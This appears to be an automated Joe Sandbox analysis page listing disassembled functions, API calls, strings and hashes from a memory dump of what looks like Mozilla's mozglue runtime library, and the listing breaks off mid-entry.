API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: caf3e7704822f2addaf2677514d346225285f95a206d5c06274acda0d33bd75b
Instruction ID: f052142582ff73968bc6d3a7b89b9dc90c6ff24a43dcf738ae1e8fc1bf822f00
Opcode Fuzzy Hash: caf3e7704822f2addaf2677514d346225285f95a206d5c06274acda0d33bd75b
Instruction Fuzzy Hash: 2241A171904B469BD300DF29C48056BFBF4FF9A254F604B2EE4A997680DB30E559CB92

Function 6C996470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C9982BC,?,?), ref: 6C99649B

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9964A9

Part of subcall function 6C98FA80: GetCurrentThreadId.KERNEL32 ref: 6C98FA8D
Part of subcall function 6C98FA80: AcquireSRWLockExclusive.KERNEL32(6C9DF448), ref: 6C98FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C99653F
free.MOZGLUE(?), ref: 6C99655A

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 78b174288c16fb3899ff68a040e3794a56d5920168d6b753a99ca4954e498543
Instruction ID: 5d1ed47b612aaa19d3445733a6fce65672bf1dbe08f0c3282fef5dc97e92502d
Opcode Fuzzy Hash: 78b174288c16fb3899ff68a040e3794a56d5920168d6b753a99ca4954e498543
Instruction Fuzzy Hash: 8B317EB5A08705AFD740CF14D880A9ABBF4BFA8314F10482EE85A97740DB30E919CB92

Function 6C98FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?), ref: 6C98FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?,?), ref: 6C98FFF5
free.MOZGLUE(?,?,?,?,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?), ref: 6C99001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?,?), ref: 6C99002A

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: d1e9a6697ef0f8e2fdef3903f4ecd0da94cf41952a868af1e85a09b52c30ccae
Instruction ID: f4e5e0f5c16f909b7cb312d189a806363e8cca5c1bbd63e2f55b1bae78501e82
Opcode Fuzzy Hash: d1e9a6697ef0f8e2fdef3903f4ecd0da94cf41952a868af1e85a09b52c30ccae
Instruction Fuzzy Hash: 092108B2B002155BC7089E7C9C948AFB7BAFB993283250738D425D7780EB30DD1186E1

Function 6C96B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C96B4F5
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96B502
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96B542
free.MOZGLUE(?), ref: 6C96B578

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 413b91b72791cdf31f6e5a20aea3889f753af2122a8e2120a1d9d3bf3532e05d
Instruction ID: 0894c2c953dea2b7385df97e14bc304ed39d16faa6129f7da71c1011abd265c9
Opcode Fuzzy Hash: 413b91b72791cdf31f6e5a20aea3889f753af2122a8e2120a1d9d3bf3532e05d
Instruction Fuzzy Hash: 36118C31A08F45C7E7218F2AC8047A5B3B5FFA6319F24970AE84963E01FBB1F1C59691

Function 6C993DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C95F20E,?), ref: 6C993DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C95F20E,00000000,?), ref: 6C993DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C993E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C993E0E

Part of subcall function 6C98CC00: GetCurrentProcess.KERNEL32(?,?,6C9531A7), ref: 6C98CC0D
Part of subcall function 6C98CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C9531A7), ref: 6C98CC16

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 1780f16c9e4972a978fc2bac2f17faf98be9e3e029178694cfe04844e1628a54
Instruction ID: 82f8c848c077912729aa79f4c00a0283270150cdbdaa2a7c1ece37f49bf143a2
Opcode Fuzzy Hash: 1780f16c9e4972a978fc2bac2f17faf98be9e3e029178694cfe04844e1628a54
Instruction Fuzzy Hash: 57F012716002087BDB00AB54DC81DAB376DEF56628F140420FD0957741D635FE6596F7

Function 6C9A20B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A20B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C98FBD1), ref: 6C9A20C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C98FBD1), ref: 6C9A20DA
free.MOZGLUE(00000000,?,6C98FBD1), ref: 6C9A20F1

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 98e032636ff37c3595b6f6039d7dce6c37bc0714a5563ed82be1aebd06bb9ba7
Instruction ID: dffe14cf7f10b13ba22c6fcd429b6cdec438255aa13afdc113a47be198ebd7f5
Opcode Fuzzy Hash: 98e032636ff37c3595b6f6039d7dce6c37bc0714a5563ed82be1aebd06bb9ba7
Instruction Fuzzy Hash: 43E0E531608E259BC3209F26980854EB7F9EF96218B20022AE50AD3B00DB75F58686E6

Function 6C9A85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C9A85D3

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C9A8725

Strings

map/set<T> too long, xrefs: 6C9A8720

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: d388070a54c6fb628f315dcb6579e435a8d66e584e0028e601dd40f85569fcc6
Instruction ID: 78abb823d426034734ac82ea2d71a2a9e40651a0948d6a7529e1d0d1c1036994
Opcode Fuzzy Hash: d388070a54c6fb628f315dcb6579e435a8d66e584e0028e601dd40f85569fcc6
Instruction Fuzzy Hash: 3F518774A00685CFE709CF58C084B65BBF1BF59318F19C19AD8595BB62C334E846CF96

Function 6C95BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C95BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C95BE8F

Strings

0, xrefs: 6C95BE5B

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 3bb851d4a24a3c94b1b57a50d7ada213a41af0139628a2820582b090ee4dd058
Instruction ID: 224e669c214a6a55e36c1d0313d10456ede9b70068a574a7b6ec19c97907299e
Opcode Fuzzy Hash: 3bb851d4a24a3c94b1b57a50d7ada213a41af0139628a2820582b090ee4dd058
Instruction Fuzzy Hash: 1A41A271A09749CFC701CF38C481A9BB7F4AF9A348F448A1DF985A7611D731E969CB82

Function 6C993CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C993D19
mozalloc_abort.MOZGLUE(?), ref: 6C993D6C

Strings

d, xrefs: 6C993D58

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: c497ee272bd85c0a2daa55b3ce090610ba1680cd56dfeb06f20d4e29927c36ef
Instruction ID: ae06156d6bacca7e9dd5d9bb8c3e17f4f1e599da0bbb2d82f8cd29c6ab0d3005
Opcode Fuzzy Hash: c497ee272bd85c0a2daa55b3ce090610ba1680cd56dfeb06f20d4e29927c36ef
Instruction Fuzzy Hash: BD11C836E08688D7DB009F69CC244EDB779FF96218B499219DC49A7621EB30E6C4C350

Function 6C964730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9644B2,6C9DE21C,6C9DF7F8), ref: 6C96473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C96474A

Strings

GetNtLoaderAPI, xrefs: 6C964744

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 8c30f4870fa00abb936e6fa3bad4116a238399edea6652f99df304fd981a1bab
Instruction ID: f1cda16d695908bbd307540fdb4711dc50a4806afec0f63a8687042f72b68fbf
Opcode Fuzzy Hash: 8c30f4870fa00abb936e6fa3bad4116a238399edea6652f99df304fd981a1bab
Instruction Fuzzy Hash: E7019275708754CFDF00AFA68854619BBB9EF8B761B154469EA06D7740CB70E801CFA2

Function 6C9B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C9B6E22
__Init_thread_footer.LIBCMT ref: 6C9B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C9B6E1D

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: f6f3ef003dba3d1df7c96444c16f65cef3b45e50ef26198ecf2115b1958b2b3d
Instruction ID: 4eec0349a851278febdca1097a833dac929feb13fc97b1122e099e3fb31f5552
Opcode Fuzzy Hash: f6f3ef003dba3d1df7c96444c16f65cef3b45e50ef26198ecf2115b1958b2b3d
Instruction Fuzzy Hash: 2BF0503120994CDBDB008BA8C852A9273F1935361CF5C0155F80477F91C731F65ACB53

Function 6C969E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C969EEF

Strings

NaN, xrefs: 6C969EC1
Infinity, xrefs: 6C969EB7

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 842404dea5dc68143e665006d6f2dec5d3da53abc672d39268244c2f592baed2
Instruction ID: a68406bf20254f7c53f4006fc1909cdaea423b497af1176b9eea011b9f2a109e
Opcode Fuzzy Hash: 842404dea5dc68143e665006d6f2dec5d3da53abc672d39268244c2f592baed2
Instruction Fuzzy Hash: 0AF04971609E41CBEB00CF98D847B9473B1A75771DF354A59C5082BB80D775F6CACA82

Function 6C96BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C96BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C96BEF5

Strings

cryptbase.dll, xrefs: 6C96BEF0

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 7d098df918a7eae6cdc4537d316f34f2c377ae96583c6bd8a7a5dc7461c70023
Instruction ID: 9c1673ca6a609f562cc4062b7d4c9acec0c25ea6c164f6b512cc7d3c994cb781
Opcode Fuzzy Hash: 7d098df918a7eae6cdc4537d316f34f2c377ae96583c6bd8a7a5dc7461c70023
Instruction Fuzzy Hash: 89D023311C4508F7D7016B518C09F1937789702715F20C020F30564C91D7B0F450DFE4

Function 6C9550E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C954E9C,?,?,?,?,?), ref: 6C95510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C954E9C,?,?,?,?,?), ref: 6C955167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C955196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C954E9C), ref: 6C955234

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: edee7e2876aee732ff45a78ac653b5fdb823a2baad613fbc1bdc7a711393f647
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: B691CE35501646CFCB14CF09C490A5ABBA6FF99318B28858CDC589BB16D331FD92CBE1

Function 6C9908F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C990918
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9909A6
EnterCriticalSection.KERNEL32(6C9DE7DC,?,00000000), ref: 6C9909F3
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C990ACB

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 833df88e8fe081bc6b3f9d58f19570b1048e26883e55ca00b94d8daccd3156b9
Instruction ID: d3befe7a4f976c521bfad4eace1527be6ce43af4b2af64afd759f938475818cc
Opcode Fuzzy Hash: 833df88e8fe081bc6b3f9d58f19570b1048e26883e55ca00b94d8daccd3156b9
Instruction Fuzzy Hash: 90512C36B06E50CBEB049A15C414665B3B9EB8AF2473D853ADD75A7F80D731FC8186C1

Function 6C9AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C9AB2C9,?,?,?,6C9AB127,?,?,?,?,?,?,?,?,?,6C9AAE52), ref: 6C9AB628

Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A90FF
Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9AB2C9,?,?,?,6C9AB127,?,?,?,?,?,?,?,?,?,6C9AAE52), ref: 6C9AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9AB2C9,?,?,?,6C9AB127,?,?,?,?,?,?,?,?,?,6C9AAE52), ref: 6C9AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C9AB127,?,?,?,?,?,?,?,?), ref: 6C9AB74D

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 81c3d9851fc4180664e1f212f6afe8b6158799243a141def6e7f56d8bc58896f
Instruction ID: c65967e1f85ce746cd827f6644134cdf9e4f9b300e1e802e70dec5fa333f7cc0
Opcode Fuzzy Hash: 81c3d9851fc4180664e1f212f6afe8b6158799243a141def6e7f56d8bc58896f
Instruction Fuzzy Hash: 8651ED71A0521ACBDB14CF98C98076EBBB5FF44704F15852DC85AABB10D771E806CBA1

Function 6C9ADF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C99FF2A), ref: 6C9ADFFD

Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A90FF
Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C99FF2A), ref: 6C9AE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C99FF2A), ref: 6C9AE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C99FF2A), ref: 6C9AE0FE

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 14355927457d629c4872fcd489a0407ca909c108c9ebe1080465899144166865
Instruction ID: f2ae2ce04c91387e652841b62fccb90e4afd234def3e245de11b8f595b4916ab
Opcode Fuzzy Hash: 14355927457d629c4872fcd489a0407ca909c108c9ebe1080465899144166865
Instruction Fuzzy Hash: 8741C471608226CFEB14CFA9C89036A73B5BB45308F14453DD516EB740E731E966CB92

Function 6C9A6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C9A6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C9A6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9A6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A6F5C

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 43aee19e3f0c5cb9c66f6c71f6eece80b20e29e2182b737823a5defea81eab87
Instruction ID: 27068665d7e028ac19d70f7693af422e3f232266c6bb996cdf046fac444b5bb7
Opcode Fuzzy Hash: 43aee19e3f0c5cb9c66f6c71f6eece80b20e29e2182b737823a5defea81eab87
Instruction Fuzzy Hash: 9531F671A1060A8FDB04CF6CC9806AA73E9EB94304F60423DD41AD7651EF31E66AC7A1

Function 6C9BB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C960A4D), ref: 6C9BB5EA
